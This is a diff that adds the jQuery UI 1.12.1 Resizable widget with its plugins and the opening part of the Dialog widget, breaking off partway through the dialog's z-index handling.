+	_setupHandles: function() {
+		var o = this.options, handle, i, n, hname, axis, that = this;
+		this.handles = o.handles ||
+			( !$( ".ui-resizable-handle", this.element ).length ?
+				"e,s,se" : {
+					n: ".ui-resizable-n",
+					e: ".ui-resizable-e",
+					s: ".ui-resizable-s",
+					w: ".ui-resizable-w",
+					se: ".ui-resizable-se",
+					sw: ".ui-resizable-sw",
+					ne: ".ui-resizable-ne",
+					nw: ".ui-resizable-nw"
+				} );
+
+		this._handles = $();
+		if ( this.handles.constructor === String ) {
+
+			if ( this.handles === "all" ) {
+				this.handles = "n,e,s,w,se,sw,ne,nw";
+			}
+
+			n = this.handles.split( "," );
+			this.handles = {};
+
+			for ( i = 0; i < n.length; i++ ) {
+
+				handle = $.trim( n[ i ] );
+				hname = "ui-resizable-" + handle;
+				axis = $( "<div>" );
+				this._addClass( axis, "ui-resizable-handle " + hname );
+
+				axis.css( { zIndex: o.zIndex } );
+
+				this.handles[ handle ] = ".ui-resizable-" + handle;
+				this.element.append( axis );
+			}
+
+		}
+
+		this._renderAxis = function( target ) {
+
+			var i, axis, padPos, padWrapper;
+
+			target = target || this.element;
+
+			for ( i in this.handles ) {
+
+				if ( this.handles[ i ].constructor === String ) {
+					this.handles[ i ] = this.element.children( this.handles[ i ] ).first().show();
+				} else if ( this.handles[ i ].jquery || this.handles[ i ].nodeType ) {
+					this.handles[ i ] = $( this.handles[ i ] );
+					this._on( this.handles[ i ], { "mousedown": that._mouseDown } );
+				}
+
+				if ( this.elementIsWrapper &&
+						this.originalElement[ 0 ]
+							.nodeName
+							.match( /^(textarea|input|select|button)$/i ) ) {
+					axis = $( this.handles[ i ], this.element );
+
+					padWrapper = /sw|ne|nw|se|n|s/.test( i ) ?
+						axis.outerHeight() :
+						axis.outerWidth();
+
+					padPos = [ "padding",
+						/ne|nw|n/.test( i ) ? "Top" :
+						/se|sw|s/.test( i ) ? "Bottom" :
+						/^e$/.test( i ) ? "Right" : "Left" ].join( "" );
+
+					target.css( padPos, padWrapper );
+
+					this._proportionallyResize();
+				}
+
+				this._handles = this._handles.add( this.handles[ i ] );
+			}
+		};
+
+		// TODO: make renderAxis a prototype function
+		this._renderAxis( this.element );
+
+		this._handles = this._handles.add( this.element.find( ".ui-resizable-handle" ) );
+		this._handles.disableSelection();
+
+		this._handles.on( "mouseover", function() {
+			if ( !that.resizing ) {
+				if ( this.className ) {
+					axis = this.className.match( /ui-resizable-(se|sw|ne|nw|n|e|s|w)/i );
+				}
+				that.axis = axis && axis[ 1 ] ? axis[ 1 ] : "se";
+			}
+		} );
+
+		if ( o.autoHide ) {
+			this._handles.hide();
+			this._addClass( "ui-resizable-autohide" );
+		}
+	},
+
+	_removeHandles: function() {
+		this._handles.remove();
+	},
+
+	_mouseCapture: function( event ) {
+		var i, handle,
+			capture = false;
+
+		for ( i in this.handles ) {
+			handle = $( this.handles[ i ] )[ 0 ];
+			if ( handle === event.target || $.contains( handle, event.target ) ) {
+				capture = true;
+			}
+		}
+
+		return !this.options.disabled && capture;
+	},
+
+	_mouseStart: function( event ) {
+
+		var curleft, curtop, cursor,
+			o = this.options,
+			el = this.element;
+
+		this.resizing = true;
+
+		this._renderProxy();
+
+		curleft = this._num( this.helper.css( "left" ) );
+		curtop = this._num( this.helper.css( "top" ) );
+
+		if ( o.containment ) {
+			curleft += $( o.containment ).scrollLeft() || 0;
+			curtop += $( o.containment ).scrollTop() || 0;
+		}
+
+		this.offset = this.helper.offset();
+		this.position = { left: curleft, top: curtop };
+
+		this.size = this._helper ? {
+				width: this.helper.width(),
+				height: this.helper.height()
+			} : {
+				width: el.width(),
+				height: el.height()
+			};
+
+		this.originalSize = this._helper ? {
+				width: el.outerWidth(),
+				height: el.outerHeight()
+			} : {
+				width: el.width(),
+				height: el.height()
+			};
+
+		this.sizeDiff = {
+			width: el.outerWidth() - el.width(),
+			height: el.outerHeight() - el.height()
+		};
+
+		this.originalPosition = { left: curleft, top: curtop };
+		this.originalMousePosition = { left: event.pageX, top: event.pageY };
+
+		this.aspectRatio = ( typeof o.aspectRatio === "number" ) ?
+			o.aspectRatio :
+			( ( this.originalSize.width / this.originalSize.height ) || 1 );
+
+		cursor = $( ".ui-resizable-" + this.axis ).css( "cursor" );
+		$( "body" ).css( "cursor", cursor === "auto" ? this.axis + "-resize" : cursor );
+
+		this._addClass( "ui-resizable-resizing" );
+		this._propagate( "start", event );
+		return true;
+	},
+
+	_mouseDrag: function( event ) {
+
+		var data, props,
+			smp = this.originalMousePosition,
+			a = this.axis,
+			dx = ( event.pageX - smp.left ) || 0,
+			dy = ( event.pageY - smp.top ) || 0,
+			trigger = this._change[ a ];
+
+		this._updatePrevProperties();
+
+		if ( !trigger ) {
+			return false;
+		}
+
+		data = trigger.apply( this, [ event, dx, dy ] );
+
+		this._updateVirtualBoundaries( event.shiftKey );
+		if ( this._aspectRatio || event.shiftKey ) {
+			data = this._updateRatio( data, event );
+		}
+
+		data = this._respectSize( data, event );
+
+		this._updateCache( data );
+
+		this._propagate( "resize", event );
+
+		props = this._applyChanges();
+
+		if ( !this._helper && this._proportionallyResizeElements.length ) {
+			this._proportionallyResize();
+		}
+
+		if ( !$.isEmptyObject( props ) ) {
+			this._updatePrevProperties();
+			this._trigger( "resize", event, this.ui() );
+			this._applyChanges();
+		}
+
+		return false;
+	},
+
+	_mouseStop: function( event ) {
+
+		this.resizing = false;
+		var pr, ista, soffseth, soffsetw, s, left, top,
+			o = this.options, that = this;
+
+		if ( this._helper ) {
+
+			pr = this._proportionallyResizeElements;
+			ista = pr.length && ( /textarea/i ).test( pr[ 0 ].nodeName );
+			soffseth = ista && this._hasScroll( pr[ 0 ], "left" ) ? 0 : that.sizeDiff.height;
+			soffsetw = ista ? 0 : that.sizeDiff.width;
+
+			s = {
+				width: ( that.helper.width()  - soffsetw ),
+				height: ( that.helper.height() - soffseth )
+			};
+			left = ( parseFloat( that.element.css( "left" ) ) +
+				( that.position.left - that.originalPosition.left ) ) || null;
+			top = ( parseFloat( that.element.css( "top" ) ) +
+				( that.position.top - that.originalPosition.top ) ) || null;
+
+			if ( !o.animate ) {
+				this.element.css( $.extend( s, { top: top, left: left } ) );
+			}
+
+			that.helper.height( that.size.height );
+			that.helper.width( that.size.width );
+
+			if ( this._helper && !o.animate ) {
+				this._proportionallyResize();
+			}
+		}
+
+		$( "body" ).css( "cursor", "auto" );
+
+		this._removeClass( "ui-resizable-resizing" );
+
+		this._propagate( "stop", event );
+
+		if ( this._helper ) {
+			this.helper.remove();
+		}
+
+		return false;
+
+	},
+
+	_updatePrevProperties: function() {
+		this.prevPosition = {
+			top: this.position.top,
+			left: this.position.left
+		};
+		this.prevSize = {
+			width: this.size.width,
+			height: this.size.height
+		};
+	},
+
+	_applyChanges: function() {
+		var props = {};
+
+		if ( this.position.top !== this.prevPosition.top ) {
+			props.top = this.position.top + "px";
+		}
+		if ( this.position.left !== this.prevPosition.left ) {
+			props.left = this.position.left + "px";
+		}
+		if ( this.size.width !== this.prevSize.width ) {
+			props.width = this.size.width + "px";
+		}
+		if ( this.size.height !== this.prevSize.height ) {
+			props.height = this.size.height + "px";
+		}
+
+		this.helper.css( props );
+
+		return props;
+	},
+
+	_updateVirtualBoundaries: function( forceAspectRatio ) {
+		var pMinWidth, pMaxWidth, pMinHeight, pMaxHeight, b,
+			o = this.options;
+
+		b = {
+			minWidth: this._isNumber( o.minWidth ) ? o.minWidth : 0,
+			maxWidth: this._isNumber( o.maxWidth ) ? o.maxWidth : Infinity,
+			minHeight: this._isNumber( o.minHeight ) ? o.minHeight : 0,
+			maxHeight: this._isNumber( o.maxHeight ) ? o.maxHeight : Infinity
+		};
+
+		if ( this._aspectRatio || forceAspectRatio ) {
+			pMinWidth = b.minHeight * this.aspectRatio;
+			pMinHeight = b.minWidth / this.aspectRatio;
+			pMaxWidth = b.maxHeight * this.aspectRatio;
+			pMaxHeight = b.maxWidth / this.aspectRatio;
+
+			if ( pMinWidth > b.minWidth ) {
+				b.minWidth = pMinWidth;
+			}
+			if ( pMinHeight > b.minHeight ) {
+				b.minHeight = pMinHeight;
+			}
+			if ( pMaxWidth < b.maxWidth ) {
+				b.maxWidth = pMaxWidth;
+			}
+			if ( pMaxHeight < b.maxHeight ) {
+				b.maxHeight = pMaxHeight;
+			}
+		}
+		this._vBoundaries = b;
+	},
+
+	_updateCache: function( data ) {
+		this.offset = this.helper.offset();
+		if ( this._isNumber( data.left ) ) {
+			this.position.left = data.left;
+		}
+		if ( this._isNumber( data.top ) ) {
+			this.position.top = data.top;
+		}
+		if ( this._isNumber( data.height ) ) {
+			this.size.height = data.height;
+		}
+		if ( this._isNumber( data.width ) ) {
+			this.size.width = data.width;
+		}
+	},
+
+	_updateRatio: function( data ) {
+
+		var cpos = this.position,
+			csize = this.size,
+			a = this.axis;
+
+		if ( this._isNumber( data.height ) ) {
+			data.width = ( data.height * this.aspectRatio );
+		} else if ( this._isNumber( data.width ) ) {
+			data.height = ( data.width / this.aspectRatio );
+		}
+
+		if ( a === "sw" ) {
+			data.left = cpos.left + ( csize.width - data.width );
+			data.top = null;
+		}
+		if ( a === "nw" ) {
+			data.top = cpos.top + ( csize.height - data.height );
+			data.left = cpos.left + ( csize.width - data.width );
+		}
+
+		return data;
+	},
+
+	_respectSize: function( data ) {
+
+		var o = this._vBoundaries,
+			a = this.axis,
+			ismaxw = this._isNumber( data.width ) && o.maxWidth && ( o.maxWidth < data.width ),
+			ismaxh = this._isNumber( data.height ) && o.maxHeight && ( o.maxHeight < data.height ),
+			isminw = this._isNumber( data.width ) && o.minWidth && ( o.minWidth > data.width ),
+			isminh = this._isNumber( data.height ) && o.minHeight && ( o.minHeight > data.height ),
+			dw = this.originalPosition.left + this.originalSize.width,
+			dh = this.originalPosition.top + this.originalSize.height,
+			cw = /sw|nw|w/.test( a ), ch = /nw|ne|n/.test( a );
+		if ( isminw ) {
+			data.width = o.minWidth;
+		}
+		if ( isminh ) {
+			data.height = o.minHeight;
+		}
+		if ( ismaxw ) {
+			data.width = o.maxWidth;
+		}
+		if ( ismaxh ) {
+			data.height = o.maxHeight;
+		}
+
+		if ( isminw && cw ) {
+			data.left = dw - o.minWidth;
+		}
+		if ( ismaxw && cw ) {
+			data.left = dw - o.maxWidth;
+		}
+		if ( isminh && ch ) {
+			data.top = dh - o.minHeight;
+		}
+		if ( ismaxh && ch ) {
+			data.top = dh - o.maxHeight;
+		}
+
+		// Fixing jump error on top/left - bug #2330
+		if ( !data.width && !data.height && !data.left && data.top ) {
+			data.top = null;
+		} else if ( !data.width && !data.height && !data.top && data.left ) {
+			data.left = null;
+		}
+
+		return data;
+	},
+
+	_getPaddingPlusBorderDimensions: function( element ) {
+		var i = 0,
+			widths = [],
+			borders = [
+				element.css( "borderTopWidth" ),
+				element.css( "borderRightWidth" ),
+				element.css( "borderBottomWidth" ),
+				element.css( "borderLeftWidth" )
+			],
+			paddings = [
+				element.css( "paddingTop" ),
+				element.css( "paddingRight" ),
+				element.css( "paddingBottom" ),
+				element.css( "paddingLeft" )
+			];
+
+		for ( ; i < 4; i++ ) {
+			widths[ i ] = ( parseFloat( borders[ i ] ) || 0 );
+			widths[ i ] += ( parseFloat( paddings[ i ] ) || 0 );
+		}
+
+		return {
+			height: widths[ 0 ] + widths[ 2 ],
+			width: widths[ 1 ] + widths[ 3 ]
+		};
+	},
+
+	_proportionallyResize: function() {
+
+		if ( !this._proportionallyResizeElements.length ) {
+			return;
+		}
+
+		var prel,
+			i = 0,
+			element = this.helper || this.element;
+
+		for ( ; i < this._proportionallyResizeElements.length; i++ ) {
+
+			prel = this._proportionallyResizeElements[ i ];
+
+			// TODO: Seems like a bug to cache this.outerDimensions
+			// considering that we are in a loop.
+			if ( !this.outerDimensions ) {
+				this.outerDimensions = this._getPaddingPlusBorderDimensions( prel );
+			}
+
+			prel.css( {
+				height: ( element.height() - this.outerDimensions.height ) || 0,
+				width: ( element.width() - this.outerDimensions.width ) || 0
+			} );
+
+		}
+
+	},
+
+	_renderProxy: function() {
+
+		var el = this.element, o = this.options;
+		this.elementOffset = el.offset();
+
+		if ( this._helper ) {
+
+			this.helper = this.helper || $( "<div style='overflow:hidden;'></div>" );
+
+			this._addClass( this.helper, this._helper );
+			this.helper.css( {
+				width: this.element.outerWidth(),
+				height: this.element.outerHeight(),
+				position: "absolute",
+				left: this.elementOffset.left + "px",
+				top: this.elementOffset.top + "px",
+				zIndex: ++o.zIndex //TODO: Don't modify option
+			} );
+
+			this.helper
+				.appendTo( "body" )
+				.disableSelection();
+
+		} else {
+			this.helper = this.element;
+		}
+
+	},
+
+	_change: {
+		e: function( event, dx ) {
+			return { width: this.originalSize.width + dx };
+		},
+		w: function( event, dx ) {
+			var cs = this.originalSize, sp = this.originalPosition;
+			return { left: sp.left + dx, width: cs.width - dx };
+		},
+		n: function( event, dx, dy ) {
+			var cs = this.originalSize, sp = this.originalPosition;
+			return { top: sp.top + dy, height: cs.height - dy };
+		},
+		s: function( event, dx, dy ) {
+			return { height: this.originalSize.height + dy };
+		},
+		se: function( event, dx, dy ) {
+			return $.extend( this._change.s.apply( this, arguments ),
+				this._change.e.apply( this, [ event, dx, dy ] ) );
+		},
+		sw: function( event, dx, dy ) {
+			return $.extend( this._change.s.apply( this, arguments ),
+				this._change.w.apply( this, [ event, dx, dy ] ) );
+		},
+		ne: function( event, dx, dy ) {
+			return $.extend( this._change.n.apply( this, arguments ),
+				this._change.e.apply( this, [ event, dx, dy ] ) );
+		},
+		nw: function( event, dx, dy ) {
+			return $.extend( this._change.n.apply( this, arguments ),
+				this._change.w.apply( this, [ event, dx, dy ] ) );
+		}
+	},
+
+	_propagate: function( n, event ) {
+		$.ui.plugin.call( this, n, [ event, this.ui() ] );
+		( n !== "resize" && this._trigger( n, event, this.ui() ) );
+	},
+
+	plugins: {},
+
+	ui: function() {
+		return {
+			originalElement: this.originalElement,
+			element: this.element,
+			helper: this.helper,
+			position: this.position,
+			size: this.size,
+			originalSize: this.originalSize,
+			originalPosition: this.originalPosition
+		};
+	}
+
+} );
+
+/*
+ * Resizable Extensions
+ */
+
+$.ui.plugin.add( "resizable", "animate", {
+
+	stop: function( event ) {
+		var that = $( this ).resizable( "instance" ),
+			o = that.options,
+			pr = that._proportionallyResizeElements,
+			ista = pr.length && ( /textarea/i ).test( pr[ 0 ].nodeName ),
+			soffseth = ista && that._hasScroll( pr[ 0 ], "left" ) ? 0 : that.sizeDiff.height,
+			soffsetw = ista ? 0 : that.sizeDiff.width,
+			style = {
+				width: ( that.size.width - soffsetw ),
+				height: ( that.size.height - soffseth )
+			},
+			left = ( parseFloat( that.element.css( "left" ) ) +
+				( that.position.left - that.originalPosition.left ) ) || null,
+			top = ( parseFloat( that.element.css( "top" ) ) +
+				( that.position.top - that.originalPosition.top ) ) || null;
+
+		that.element.animate(
+			$.extend( style, top && left ? { top: top, left: left } : {} ), {
+				duration: o.animateDuration,
+				easing: o.animateEasing,
+				step: function() {
+
+					var data = {
+						width: parseFloat( that.element.css( "width" ) ),
+						height: parseFloat( that.element.css( "height" ) ),
+						top: parseFloat( that.element.css( "top" ) ),
+						left: parseFloat( that.element.css( "left" ) )
+					};
+
+					if ( pr && pr.length ) {
+						$( pr[ 0 ] ).css( { width: data.width, height: data.height } );
+					}
+
+					// Propagating resize, and updating values for each animation step
+					that._updateCache( data );
+					that._propagate( "resize", event );
+
+				}
+			}
+		);
+	}
+
+} );
+
+$.ui.plugin.add( "resizable", "containment", {
+
+	start: function() {
+		var element, p, co, ch, cw, width, height,
+			that = $( this ).resizable( "instance" ),
+			o = that.options,
+			el = that.element,
+			oc = o.containment,
+			ce = ( oc instanceof $ ) ?
+				oc.get( 0 ) :
+				( /parent/.test( oc ) ) ? el.parent().get( 0 ) : oc;
+
+		if ( !ce ) {
+			return;
+		}
+
+		that.containerElement = $( ce );
+
+		if ( /document/.test( oc ) || oc === document ) {
+			that.containerOffset = {
+				left: 0,
+				top: 0
+			};
+			that.containerPosition = {
+				left: 0,
+				top: 0
+			};
+
+			that.parentData = {
+				element: $( document ),
+				left: 0,
+				top: 0,
+				width: $( document ).width(),
+				height: $( document ).height() || document.body.parentNode.scrollHeight
+			};
+		} else {
+			element = $( ce );
+			p = [];
+			$( [ "Top", "Right", "Left", "Bottom" ] ).each( function( i, name ) {
+				p[ i ] = that._num( element.css( "padding" + name ) );
+			} );
+
+			that.containerOffset = element.offset();
+			that.containerPosition = element.position();
+			that.containerSize = {
+				height: ( element.innerHeight() - p[ 3 ] ),
+				width: ( element.innerWidth() - p[ 1 ] )
+			};
+
+			co = that.containerOffset;
+			ch = that.containerSize.height;
+			cw = that.containerSize.width;
+			width = ( that._hasScroll ( ce, "left" ) ? ce.scrollWidth : cw );
+			height = ( that._hasScroll ( ce ) ? ce.scrollHeight : ch ) ;
+
+			that.parentData = {
+				element: ce,
+				left: co.left,
+				top: co.top,
+				width: width,
+				height: height
+			};
+		}
+	},
+
+	resize: function( event ) {
+		var woset, hoset, isParent, isOffsetRelative,
+			that = $( this ).resizable( "instance" ),
+			o = that.options,
+			co = that.containerOffset,
+			cp = that.position,
+			pRatio = that._aspectRatio || event.shiftKey,
+			cop = {
+				top: 0,
+				left: 0
+			},
+			ce = that.containerElement,
+			continueResize = true;
+
+		if ( ce[ 0 ] !== document && ( /static/ ).test( ce.css( "position" ) ) ) {
+			cop = co;
+		}
+
+		if ( cp.left < ( that._helper ? co.left : 0 ) ) {
+			that.size.width = that.size.width +
+				( that._helper ?
+					( that.position.left - co.left ) :
+					( that.position.left - cop.left ) );
+
+			if ( pRatio ) {
+				that.size.height = that.size.width / that.aspectRatio;
+				continueResize = false;
+			}
+			that.position.left = o.helper ? co.left : 0;
+		}
+
+		if ( cp.top < ( that._helper ? co.top : 0 ) ) {
+			that.size.height = that.size.height +
+				( that._helper ?
+					( that.position.top - co.top ) :
+					that.position.top );
+
+			if ( pRatio ) {
+				that.size.width = that.size.height * that.aspectRatio;
+				continueResize = false;
+			}
+			that.position.top = that._helper ? co.top : 0;
+		}
+
+		isParent = that.containerElement.get( 0 ) === that.element.parent().get( 0 );
+		isOffsetRelative = /relative|absolute/.test( that.containerElement.css( "position" ) );
+
+		if ( isParent && isOffsetRelative ) {
+			that.offset.left = that.parentData.left + that.position.left;
+			that.offset.top = that.parentData.top + that.position.top;
+		} else {
+			that.offset.left = that.element.offset().left;
+			that.offset.top = that.element.offset().top;
+		}
+
+		woset = Math.abs( that.sizeDiff.width +
+			( that._helper ?
+				that.offset.left - cop.left :
+				( that.offset.left - co.left ) ) );
+
+		hoset = Math.abs( that.sizeDiff.height +
+			( that._helper ?
+				that.offset.top - cop.top :
+				( that.offset.top - co.top ) ) );
+
+		if ( woset + that.size.width >= that.parentData.width ) {
+			that.size.width = that.parentData.width - woset;
+			if ( pRatio ) {
+				that.size.height = that.size.width / that.aspectRatio;
+				continueResize = false;
+			}
+		}
+
+		if ( hoset + that.size.height >= that.parentData.height ) {
+			that.size.height = that.parentData.height - hoset;
+			if ( pRatio ) {
+				that.size.width = that.size.height * that.aspectRatio;
+				continueResize = false;
+			}
+		}
+
+		if ( !continueResize ) {
+			that.position.left = that.prevPosition.left;
+			that.position.top = that.prevPosition.top;
+			that.size.width = that.prevSize.width;
+			that.size.height = that.prevSize.height;
+		}
+	},
+
+	stop: function() {
+		var that = $( this ).resizable( "instance" ),
+			o = that.options,
+			co = that.containerOffset,
+			cop = that.containerPosition,
+			ce = that.containerElement,
+			helper = $( that.helper ),
+			ho = helper.offset(),
+			w = helper.outerWidth() - that.sizeDiff.width,
+			h = helper.outerHeight() - that.sizeDiff.height;
+
+		if ( that._helper && !o.animate && ( /relative/ ).test( ce.css( "position" ) ) ) {
+			$( this ).css( {
+				left: ho.left - cop.left - co.left,
+				width: w,
+				height: h
+			} );
+		}
+
+		if ( that._helper && !o.animate && ( /static/ ).test( ce.css( "position" ) ) ) {
+			$( this ).css( {
+				left: ho.left - cop.left - co.left,
+				width: w,
+				height: h
+			} );
+		}
+	}
+} );
+
+$.ui.plugin.add( "resizable", "alsoResize", {
+
+	start: function() {
+		var that = $( this ).resizable( "instance" ),
+			o = that.options;
+
+		$( o.alsoResize ).each( function() {
+			var el = $( this );
+			el.data( "ui-resizable-alsoresize", {
+				width: parseFloat( el.width() ), height: parseFloat( el.height() ),
+				left: parseFloat( el.css( "left" ) ), top: parseFloat( el.css( "top" ) )
+			} );
+		} );
+	},
+
+	resize: function( event, ui ) {
+		var that = $( this ).resizable( "instance" ),
+			o = that.options,
+			os = that.originalSize,
+			op = that.originalPosition,
+			delta = {
+				height: ( that.size.height - os.height ) || 0,
+				width: ( that.size.width - os.width ) || 0,
+				top: ( that.position.top - op.top ) || 0,
+				left: ( that.position.left - op.left ) || 0
+			};
+
+			$( o.alsoResize ).each( function() {
+				var el = $( this ), start = $( this ).data( "ui-resizable-alsoresize" ), style = {},
+					css = el.parents( ui.originalElement[ 0 ] ).length ?
+							[ "width", "height" ] :
+							[ "width", "height", "top", "left" ];
+
+				$.each( css, function( i, prop ) {
+					var sum = ( start[ prop ] || 0 ) + ( delta[ prop ] || 0 );
+					if ( sum && sum >= 0 ) {
+						style[ prop ] = sum || null;
+					}
+				} );
+
+				el.css( style );
+			} );
+	},
+
+	stop: function() {
+		$( this ).removeData( "ui-resizable-alsoresize" );
+	}
+} );
+
+$.ui.plugin.add( "resizable", "ghost", {
+
+	start: function() {
+
+		var that = $( this ).resizable( "instance" ), cs = that.size;
+
+		that.ghost = that.originalElement.clone();
+		that.ghost.css( {
+			opacity: 0.25,
+			display: "block",
+			position: "relative",
+			height: cs.height,
+			width: cs.width,
+			margin: 0,
+			left: 0,
+			top: 0
+		} );
+
+		that._addClass( that.ghost, "ui-resizable-ghost" );
+
+		// DEPRECATED
+		// TODO: remove after 1.12
+		if ( $.uiBackCompat !== false && typeof that.options.ghost === "string" ) {
+
+			// Ghost option
+			that.ghost.addClass( this.options.ghost );
+		}
+
+		that.ghost.appendTo( that.helper );
+
+	},
+
+	resize: function() {
+		var that = $( this ).resizable( "instance" );
+		if ( that.ghost ) {
+			that.ghost.css( {
+				position: "relative",
+				height: that.size.height,
+				width: that.size.width
+			} );
+		}
+	},
+
+	stop: function() {
+		var that = $( this ).resizable( "instance" );
+		if ( that.ghost && that.helper ) {
+			that.helper.get( 0 ).removeChild( that.ghost.get( 0 ) );
+		}
+	}
+
+} );
+
+$.ui.plugin.add( "resizable", "grid", {
+
+	resize: function() {
+		var outerDimensions,
+			that = $( this ).resizable( "instance" ),
+			o = that.options,
+			cs = that.size,
+			os = that.originalSize,
+			op = that.originalPosition,
+			a = that.axis,
+			grid = typeof o.grid === "number" ? [ o.grid, o.grid ] : o.grid,
+			gridX = ( grid[ 0 ] || 1 ),
+			gridY = ( grid[ 1 ] || 1 ),
+			ox = Math.round( ( cs.width - os.width ) / gridX ) * gridX,
+			oy = Math.round( ( cs.height - os.height ) / gridY ) * gridY,
+			newWidth = os.width + ox,
+			newHeight = os.height + oy,
+			isMaxWidth = o.maxWidth && ( o.maxWidth < newWidth ),
+			isMaxHeight = o.maxHeight && ( o.maxHeight < newHeight ),
+			isMinWidth = o.minWidth && ( o.minWidth > newWidth ),
+			isMinHeight = o.minHeight && ( o.minHeight > newHeight );
+
+		o.grid = grid;
+
+		if ( isMinWidth ) {
+			newWidth += gridX;
+		}
+		if ( isMinHeight ) {
+			newHeight += gridY;
+		}
+		if ( isMaxWidth ) {
+			newWidth -= gridX;
+		}
+		if ( isMaxHeight ) {
+			newHeight -= gridY;
+		}
+
+		if ( /^(se|s|e)$/.test( a ) ) {
+			that.size.width = newWidth;
+			that.size.height = newHeight;
+		} else if ( /^(ne)$/.test( a ) ) {
+			that.size.width = newWidth;
+			that.size.height = newHeight;
+			that.position.top = op.top - oy;
+		} else if ( /^(sw)$/.test( a ) ) {
+			that.size.width = newWidth;
+			that.size.height = newHeight;
+			that.position.left = op.left - ox;
+		} else {
+			if ( newHeight - gridY <= 0 || newWidth - gridX <= 0 ) {
+				outerDimensions = that._getPaddingPlusBorderDimensions( this );
+			}
+
+			if ( newHeight - gridY > 0 ) {
+				that.size.height = newHeight;
+				that.position.top = op.top - oy;
+			} else {
+				newHeight = gridY - outerDimensions.height;
+				that.size.height = newHeight;
+				that.position.top = op.top + os.height - newHeight;
+			}
+			if ( newWidth - gridX > 0 ) {
+				that.size.width = newWidth;
+				that.position.left = op.left - ox;
+			} else {
+				newWidth = gridX - outerDimensions.width;
+				that.size.width = newWidth;
+				that.position.left = op.left + os.width - newWidth;
+			}
+		}
+	}
+
+} );
+
+var widgetsResizable = $.ui.resizable;
+
+
+/*!
+ * jQuery UI Dialog 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Dialog
+//>>group: Widgets
+//>>description: Displays customizable dialog windows.
+//>>docs: http://api.jqueryui.com/dialog/
+//>>demos: http://jqueryui.com/dialog/
+//>>css.structure: ../../themes/base/core.css
+//>>css.structure: ../../themes/base/dialog.css
+//>>css.theme: ../../themes/base/theme.css
+
+
+
+$.widget( "ui.dialog", {
+	version: "1.12.1",
+	options: {
+		appendTo: "body",
+		autoOpen: true,
+		buttons: [],
+		classes: {
+			"ui-dialog": "ui-corner-all",
+			"ui-dialog-titlebar": "ui-corner-all"
+		},
+		closeOnEscape: true,
+		closeText: "Close",
+		draggable: true,
+		hide: null,
+		height: "auto",
+		maxHeight: null,
+		maxWidth: null,
+		minHeight: 150,
+		minWidth: 150,
+		modal: false,
+		position: {
+			my: "center",
+			at: "center",
+			of: window,
+			collision: "fit",
+
+			// Ensure the titlebar is always visible
+			using: function( pos ) {
+				var topOffset = $( this ).css( pos ).offset().top;
+				if ( topOffset < 0 ) {
+					$( this ).css( "top", pos.top - topOffset );
+				}
+			}
+		},
+		resizable: true,
+		show: null,
+		title: null,
+		width: 300,
+
+		// Callbacks
+		beforeClose: null,
+		close: null,
+		drag: null,
+		dragStart: null,
+		dragStop: null,
+		focus: null,
+		open: null,
+		resize: null,
+		resizeStart: null,
+		resizeStop: null
+	},
+
+	sizeRelatedOptions: {
+		buttons: true,
+		height: true,
+		maxHeight: true,
+		maxWidth: true,
+		minHeight: true,
+		minWidth: true,
+		width: true
+	},
+
+	resizableRelatedOptions: {
+		maxHeight: true,
+		maxWidth: true,
+		minHeight: true,
+		minWidth: true
+	},
+
+	_create: function() {
+		this.originalCss = {
+			display: this.element[ 0 ].style.display,
+			width: this.element[ 0 ].style.width,
+			minHeight: this.element[ 0 ].style.minHeight,
+			maxHeight: this.element[ 0 ].style.maxHeight,
+			height: this.element[ 0 ].style.height
+		};
+		this.originalPosition = {
+			parent: this.element.parent(),
+			index: this.element.parent().children().index( this.element )
+		};
+		this.originalTitle = this.element.attr( "title" );
+		if ( this.options.title == null && this.originalTitle != null ) {
+			this.options.title = this.originalTitle;
+		}
+
+		// Dialogs can't be disabled
+		if ( this.options.disabled ) {
+			this.options.disabled = false;
+		}
+
+		this._createWrapper();
+
+		this.element
+			.show()
+			.removeAttr( "title" )
+			.appendTo( this.uiDialog );
+
+		this._addClass( "ui-dialog-content", "ui-widget-content" );
+
+		this._createTitlebar();
+		this._createButtonPane();
+
+		if ( this.options.draggable && $.fn.draggable ) {
+			this._makeDraggable();
+		}
+		if ( this.options.resizable && $.fn.resizable ) {
+			this._makeResizable();
+		}
+
+		this._isOpen = false;
+
+		this._trackFocus();
+	},
+
+	_init: function() {
+		if ( this.options.autoOpen ) {
+			this.open();
+		}
+	},
+
+	_appendTo: function() {
+		var element = this.options.appendTo;
+		if ( element && ( element.jquery || element.nodeType ) ) {
+			return $( element );
+		}
+		return this.document.find( element || "body" ).eq( 0 );
+	},
+
+	_destroy: function() {
+		var next,
+			originalPosition = this.originalPosition;
+
+		this._untrackInstance();
+		this._destroyOverlay();
+
+		this.element
+			.removeUniqueId()
+			.css( this.originalCss )
+
+			// Without detaching first, the following becomes really slow
+			.detach();
+
+		this.uiDialog.remove();
+
+		if ( this.originalTitle ) {
+			this.element.attr( "title", this.originalTitle );
+		}
+
+		next = originalPosition.parent.children().eq( originalPosition.index );
+
+		// Don't try to place the dialog next to itself (#8613)
+		if ( next.length && next[ 0 ] !== this.element[ 0 ] ) {
+			next.before( this.element );
+		} else {
+			originalPosition.parent.append( this.element );
+		}
+	},
+
+	widget: function() {
+		return this.uiDialog;
+	},
+
+	disable: $.noop,
+	enable: $.noop,
+
+	close: function( event ) {
+		var that = this;
+
+		if ( !this._isOpen || this._trigger( "beforeClose", event ) === false ) {
+			return;
+		}
+
+		this._isOpen = false;
+		this._focusedElement = null;
+		this._destroyOverlay();
+		this._untrackInstance();
+
+		if ( !this.opener.filter( ":focusable" ).trigger( "focus" ).length ) {
+
+			// Hiding a focused element doesn't trigger blur in WebKit
+			// so in case we have nothing to focus on, explicitly blur the active element
+			// https://bugs.webkit.org/show_bug.cgi?id=47182
+			$.ui.safeBlur( $.ui.safeActiveElement( this.document[ 0 ] ) );
+		}
+
+		this._hide( this.uiDialog, this.options.hide, function() {
+			that._trigger( "close", event );
+		} );
+	},
+
+	isOpen: function() {
+		return this._isOpen;
+	},
+
+	moveToTop: function() {
+		this._moveToTop();
+	},
+
+	_moveToTop: function( event, silent ) {
+		var moved = false,
+			zIndices = this.uiDialog.siblings( ".ui-front:visible" ).map( function() {
+				return +$( this ).css( "z-index" );
+			} ).get(),
+			zIndexMax = Math.max.apply( null, zIndices );
+
+		if ( zIndexMax >= +this.uiDialog.css( "z-index" ) ) {
+			this.uiDialog.css( "z-index", zIndexMax + 1 );
+			moved = true;
+		}
+
+		if ( moved && !silent ) {
+			this._trigger( "focus", event );
+		}
